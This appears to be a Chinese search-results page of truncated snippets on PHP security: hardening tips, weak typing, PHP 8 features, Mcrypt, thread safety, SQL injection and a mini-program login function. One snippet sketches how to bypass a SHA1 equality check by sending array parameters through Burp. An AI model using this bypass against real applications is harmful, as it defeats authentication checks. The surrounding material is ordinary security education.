  • 访问文件和内容。配置不当的服务器端脚本语言会带来各种各样的问题。...以下是25个 PHP安全方面的最佳实践,可供系统管理员们安全地配置...为PHP安全提示而提供的示例环境 •文件根目录(DocumentRoot):/var/www/ht
  • function getOpenid($code){ $appid = '小程序对应的appid'; $appsecret = '小程序对应的appsecret '; ...secret=$appsecret&code=".$code."&grant_type=authorization_code");//通过code换取网页授权access_...
  • 安全研究者混入了PHP 8.0开发组!

    万次阅读 多人点赞 2020-11-27 15:39:17
    今天我们就来浏览一下PHP 8.0中出现的主要特性,以及它给我们安全研究人员带来的挑战。 命名参数 Named Arguments PHP 8 以前,如果我们需要给一个函数的第N个参数传参,那么这个参数前面的所有参数,我们都...
  • 浅谈PHP弱类型安全

    万次阅读 2015-01-14 11:54:07
    没有人质疑php的简单强大,它提供了很多特性供开发者使用,其中一个就是弱类型机制。 在弱类型机制下 你能够执行这样的操作 1 2 3 4 5 $var = 1; $var = array(); $var = "string"; ?> php不会...
  • WEB安全基础-HTML+PHP实践

    千次阅读 2018-01-06 18:21:37
    Web安全 姓名: 邮箱: test1.php <?php if(empty($_POST["name"])){ header("refresh:3;url=http://websecurity.163.com/exam/test1.html"); print('请补全信息,3S跳转...');} else{echo
  • PHP安全处理之Mcrypt使用总结

    千次阅读 2016-04-19 22:24:53
    我们知道在编写代码程序时,除了要保证代码的高性能,还有一个非常重要的,就是数据的安全。对于PHP而言,它本身提供了几种加密数据的办法,不过还是有限,对于满足特殊数据加解密方面有些欠缺,所以这里推荐使用的...
  • 先从字面意思上理解,None-Thread Safe就是非线程安全,在执行时进行线程(thread)安全检查;Thread Safe就是线程安全,执行时会进行线程(thread)安全检查,以防止有新要求就启动新线程的 CGI 执行方式耗尽系统...
  • PHP网站常见的安全漏洞及防范措施

    千次阅读 2019-11-25 23:31:27
    PHP网站常见的安全漏洞及防御措施 注: 拿电商系统来举例 (框架:Laravel5.*) 1.SQL注入漏洞 SQL注入是最古老、最流行同样也是危害最大的漏洞之一,该漏洞从核心来说就是:将 【未经过滤】 的用户输入拼接到SQL...
  • ,至于为什么,其实仔细研究 SHA1 加密你就发现,其要求参数能为数组,那我将传入的参数改成数组,两边 return 的结果就都为 false ,从而,满足不等与相等了么。实现步骤更简单, bp 中将传参变量 name , ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 317,263
精华内容 126,905
关键字:

为什么php不安全